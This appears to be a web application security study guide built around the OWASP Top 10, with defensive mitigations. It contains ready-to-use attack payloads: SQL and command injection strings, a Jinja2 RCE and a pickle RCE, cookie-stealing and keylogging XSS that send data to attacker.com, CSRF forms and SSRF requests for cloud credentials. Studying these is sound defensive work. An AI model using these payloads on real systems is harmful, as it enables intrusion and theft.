Web Application Security Deep Dive

#OWASP Top 10 Web (2021) — Detailed

#A01: Broken Access Control

The #1 vulnerability. Access control enforces that users can only act within their intended permissions.

Common failures

• IDOR (Insecure Direct Object Reference) — GET /api/orders/1234 returns data even when logged in as a different user
• Missing function-level access control — admin endpoints accessible by non-admins if URL is known
• Privilege escalation — regular user modifies their role by changing a request parameter
• CORS misconfiguration — Access-Control-Allow-Origin reflects any origin
• JWT with tampered role claim accepted without verification

Exploitation example (IDOR)

# Victim's order
GET /api/orders/5678 HTTP/1.1
Authorization: Bearer <attacker_token>

# If server returns 5678's data to attacker → IDOR

Mitigations

• Server-side authorisation on every request — never trust client-supplied IDs without verifying ownership
• Use indirect references (map session-specific IDs to real IDs server-side)
• Log access control failures; alert on repeated failures

Memory hook

authn vs authz, and why access control is #1. Authentication = "are you who you say?" (the bouncer checks your ID). Authorization = "are you allowed in this room?" (the bouncer checks your VIP wristband). IDOR is an authorization failure: you're logged in (authenticated) but the server forgets to check the resource is yours. The reason Broken Access Control rose to #1 in OWASP 2021: authentication is mostly solved by libraries, but authorization is per-object business logic the developer must write on every endpoint — and they forget. Mnemonic: authenti-N = who, authori-Z = what.

#A02: Cryptographic Failures

Previously called "Sensitive Data Exposure" — it's really about cryptographic failures that lead to exposure.

Common failures

Test for it

# Check TLS configuration
testssl.sh https://target.com

# Check for hardcoded secrets
trufflehog filesystem ./repo
gitleaks detect --source=./repo

#A03: Injection

Any interpreter that processes attacker-controlled data as code.

SQL Injection cheat sheet

-- Comment out rest of query
' --
' #
' /*

-- Always-true condition (authentication bypass)
' OR '1'='1' --
' OR 1=1 --

-- Union-based extraction (find column count first)
' ORDER BY 1 --    (increment until error)
' UNION SELECT NULL,NULL,NULL --
' UNION SELECT username,password,NULL FROM users --

-- Blind boolean (infer data character by character)
' AND SUBSTRING(username,1,1)='a' --

-- Time-based blind
'; IF(1=1) WAITFOR DELAY '0:0:5' --   (MSSQL)
' AND SLEEP(5) --                      (MySQL)

OS Command Injection

# In user input that reaches shell exec
127.0.0.1; cat /etc/passwd
127.0.0.1 && whoami
127.0.0.1 | id
`id`
$(id)

# Blind — use out-of-band (DNS/HTTP)
127.0.0.1; curl http://attacker.com/$(id)

LDAP Injection*)(uid=*))(|(uid=* — bypass LDAP authentication filters

Memory hook

all injection is one bugSQLi, command injection, LDAP injection, SSTI, XSS — they're the same root cause wearing different clothes: data crosses a boundary and gets treated as code because it wasn't separated from the instructions. The universal fix is also one idea: keep code and data in separate channels. For SQL that's parameterised queries (the query structure is fixed; data goes in typed placeholders the engine never parses as SQL). String concatenation fails precisely because it merges the channels, letting a ' end the data and start new code. If you can articulate "injection = confusing data for code, fixed by separating the two," you've answered half the AppSec interview.

Template Injection (SSTI)

# Test string — if rendered, SSTI exists
{{7*7}} → 49 (Jinja2, Twig)
${7*7} → 49 (Freemarker, EL)
<%= 7*7 %> → 49 (ERB)

# Jinja2 RCE
{{ ''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate() }}

#A05: Security Misconfiguration

Broad category: anything that's left in an insecure default state.

Common findings

• Default credentials (admin/admin, admin/password) on admin panels, databases, routers
• Verbose error messages exposing stack traces, file paths, DB schema
• Directory listing enabled on web servers
• Unnecessary HTTP methods enabled (TRACE, DELETE, PUT)
• Missing security headers (CSP, HSTS, X-Frame-Options)
• Cloud storage buckets with public read/write
• Debug mode enabled in production (Django DEBUG=True, Flask debug server)
• Open admin interfaces (/admin, /phpmyadmin, /_admin) accessible from internet

Quick check

# Find admin panels and sensitive paths
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# Check HTTP methods
curl -X OPTIONS https://target.com -v

# Check security headers
curl -I https://target.com

#A08: Software and Data Integrity Failures

Encompasses insecure deserialisation and CI/CD integrity.

Insecure deserialisation

Java:

# ysoserial generates serialised payloads for common gadget chains
java -jar ysoserial.jar CommonsCollections1 'id' | base64

Python pickle:

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())
# Any system that does pickle.loads(user_input) executes os.system('id')

PHP unserialise:

• PHP magic methods __wakeup(), __destruct() called on deserialisation
• If a gadget chain exists in loaded classes, arbitrary code execution follows

MitigationsUse JSON (no code execution). If you must serialise: sign the payload (HMAC) before storing/transmitting; verify before deserialising. Never deserialise untrusted data in Java, PHP, Python pickle.

#XSS — Deep Dive

#Contexts and Encoding

Memory hook

the three XSS typesStored = the payload lives in the database and hits every viewer (a malicious comment) — most dangerous, "persistent." Reflected = the payload bounces straight back off one request and needs the victim to click a crafted link (search box echoing your query) — "non-persistent." DOM-based = the payload never reaches the server at all; client-side JavaScript reads it from the URL/fragment and writes it into the page. Mnemonic: Stored stays, Reflected rebounds, DOM is decided in the browser. The mitigation differs only in where you encode: server-side output encoding for stored/reflected, safe DOM APIs (textContent, not innerHTML) for DOM-based.

XSS depends on where the output lands — different contexts need different encodings:

DOM-based sinks (JavaScript processes input without server involvement):

// Dangerous sinks
document.innerHTML = userInput;   // HTML parsed and executed
document.write(userInput);
eval(userInput);
setTimeout(userInput, 1000);
location.href = userInput;        // javascript: URI

// Safe alternatives
element.textContent = userInput;  // text only, never parsed as HTML

#CSP as XSS Defence

Content Security Policy tells the browser which sources of scripts are trusted:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; object-src 'none'

• 'nonce-{random}' — allow specific inline scripts with a per-request nonce
• 'strict-dynamic' — trust scripts loaded by trusted scripts
• unsafe-inline — negates most XSS protection; avoid
• Use CSP Evaluator to test policies

#XSS Impact

// Session theft (works if no HttpOnly)
fetch('https://attacker.com/steal?c=' + document.cookie)

// Credential phishing overlay
document.body.innerHTML = '<form action="https://attacker.com">...'

// Keylogger
document.addEventListener('keydown', e => { fetch('https://attacker.com/k?k=' + e.key) })

// BeEF hook — full browser control
<script src="https://attacker.com/hook.js"></script>

#CSRF — Mechanisms and Mitigations

#How It Works

1. Victim is authenticated to bank.com (session cookie is set)
2. Victim visits evil.com which has: <img src="https://bank.com/transfer?to=attacker&amount=1000">
3. Browser automatically sends the request with bank.com's session cookie
4. Transfer executes — victim never knew

Memory hook

CSRF is the "confused deputy." The browser is a deputy that automatically attaches your bank cookie to any request to bank.com — even one triggered by evil.com. The attacker doesn't steal the cookie (that's XSS); they just get the browser to fire a request that rides on it. This is why HTTPS doesn't help — the forged request is perfectly encrypted and valid; the problem is it was initiated cross-site. SameSite cookies fix it at the root by telling the browser "don't attach this cookie to cross-site requests at all." Mnemonic: XSS steals the cookie, CSRF rides the cookie.

Works forGET requests that modify state. POST CSRF requires a form on the attacker's page:

<form id="csrf" action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="1000">
</form>
<script>document.getElementById('csrf').submit()</script>

#Mitigations Compared

#Authentication and Session Vulnerabilities

#Session Management

#Password Reset Flaws

#Timing Attacks on Authentication

# Vulnerable — early exit reveals whether username exists
if user not in database:
    return "Invalid credentials"   # returns faster than if password check runs
if not check_password(password, hash):
    return "Invalid credentials"   # takes longer

# Safe — always run both checks
user = get_user_or_dummy(username)   # always return a user object (with dummy hash if not found)
password_ok = check_password(password, user.hash)
if not user.exists or not password_ok:
    return "Invalid credentials"

#API Security

#REST API Security

# Common mistakes
GET /api/v1/users/1234/profile   # IDOR — change 1234 to someone else's ID
GET /api/v1/admin/users          # Function-level access control missing
GET /api/v1/products?debug=true  # Debug parameter left in production
POST /api/v1/login               # No rate limiting → brute force

# Mass assignment
PATCH /api/v1/user/profile
{"name": "Bob", "role": "admin"}   # If server blindly applies all fields

#GraphQL Security

# Introspection — discover full schema
{ __schema { types { name fields { name } } } }

# Batching DoS — one HTTP request, thousands of operations
[{"query": "{ expensiveOperation }"}, {"query": "..."}, ...]  # repeat 1000 times

# Excessive data exposure — query nested fields until you hit interesting data
{ user(id: 1) { friendsList { email phoneNumber socialSecurityNumber } } }

# Mitigation: disable introspection in production, depth limiting, query cost analysis

#HTTP Security Headers Reference

# Nginx hardened headers config
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), camera=(), microphone=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
# Remove information-leaking headers
more_clear_headers Server;
more_clear_headers X-Powered-By;

#Business Logic Vulnerabilities

Logic flaws that scanners can't find — require understanding the application's intended behaviour.

Examples

Race condition example (TOCTOU)

Thread 1: Check balance (100) → OK
Thread 2: Check balance (100) → OK
Thread 1: Deduct 100 → balance = 0
Thread 2: Deduct 100 → balance = -100  (should have been blocked)

Mitigation: database-level locking (SELECT FOR UPDATE), atomic compare-and-swap, idempotency keys.

#File Upload Vulnerabilities

Allowing user file uploads is a significant attack surface.

Attack vectors

• Upload .php / .jsp / .aspx shell — execute code on the server
• Upload SVG with <script> — stored XSS when viewed in browser
• Upload HTML — phishing page hosted on trusted domain
• Path traversal in filename — ../../etc/passwd (if filename used in path)
• Zip bomb / billion laughs — DoS via decompression

Bypass techniques for extension filters

• Double extension: evil.php.jpg (old Apache configs parse both)
• Case variation: evil.PHP, evil.pHp
• Null byte: evil.php%00.jpg (older PHP versions truncate at null)
• Content-type spoofing: send image/jpeg in Content-Type but upload PHP
• Alternate extensions: .php5, .phtml, .phar

Mitigations

import magic  # python-magic (libmagic bindings)

ALLOWED_MIME_TYPES = {'image/jpeg', 'image/png', 'image/gif'}

def validate_upload(file_bytes, filename):
    # Check actual content, not extension or Content-Type header
    mime = magic.from_buffer(file_bytes[:2048], mime=True)
    if mime not in ALLOWED_MIME_TYPES:
        raise ValueError(f"Disallowed file type: {mime}")
    # Store with a random UUID filename, not user-supplied name
    # Store outside webroot so files can't be executed
    # Serve via CDN with a separate domain (no cookies, no execution)

#SSRF — Server-Side Request Forgery

The server is tricked into making a request to a URL the attacker chooses. Because the server makes the request, it can reach places the attacker can't — internal services, cloud metadata, localhost admin panels.

# App fetches a user-supplied URL (image preview, webhook, PDF render, URL importer)
POST /import { "url": "https://example.com/feed.xml" }

# Attacker points it inward:
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"   # AWS metadata → steal role creds
"url": "http://localhost:6379/"          # internal Redis
"url": "http://10.0.0.5:8080/admin"      # internal admin panel
"url": "file:///etc/passwd"              # local file via file:// scheme

Memory hook

SSRF turns the server into your proxy. The whole point: the firewall trusts the server, so a request from the server reaches the soft internal network the attacker can't touch directly. The crown jewel is almost always the cloud metadata endpoint 169.254.169.254 — on AWS IMDSv1 it hands out temporary IAM credentials to anyone who asks, which is how the 2019 Capital One breach exfiltrated data from S3. That single fact (SSRF → metadata → cloud creds) is the most-cited SSRF interview answer.

Mitigations

• Allowlist destinations (scheme + host) — deny by default; never blocklist (DNS rebinding, redirects, and encodings defeat blocklists).
• Block link-local/internal ranges (169.254.0.0/16, RFC 1918, localhost) after DNS resolution, and re-validate on every redirect.
• Enforce IMDSv2 (requires a session token via PUT, which SSRF usually can't send) — and set hop limit to 1.
• Disable unneeded URL schemes (file://, gopher://, dict://).

#Web Cache Poisoning

Attackers manipulate the cache so that it stores and serves a malicious response to other users.

Mechanism

1. Find an unkeyed input — a request header that affects the response but isn't part of the cache key (e.g. X-Forwarded-Host, X-Original-URL)
2. Craft a request that uses the unkeyed input to inject malicious content into the response (e.g. a reflected XSS payload via a host header)
3. The poisoned response is cached and served to other users

Example

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# If response reflects X-Forwarded-Host in a script src:
<script src="https://evil.com/analytics.js"></script>
# → cached → served to all users → XSS for everyone

MitigationsInclude all headers that affect the response in the cache key; treat X-Forwarded-* headers carefully; use Vary header to key caches on relevant headers.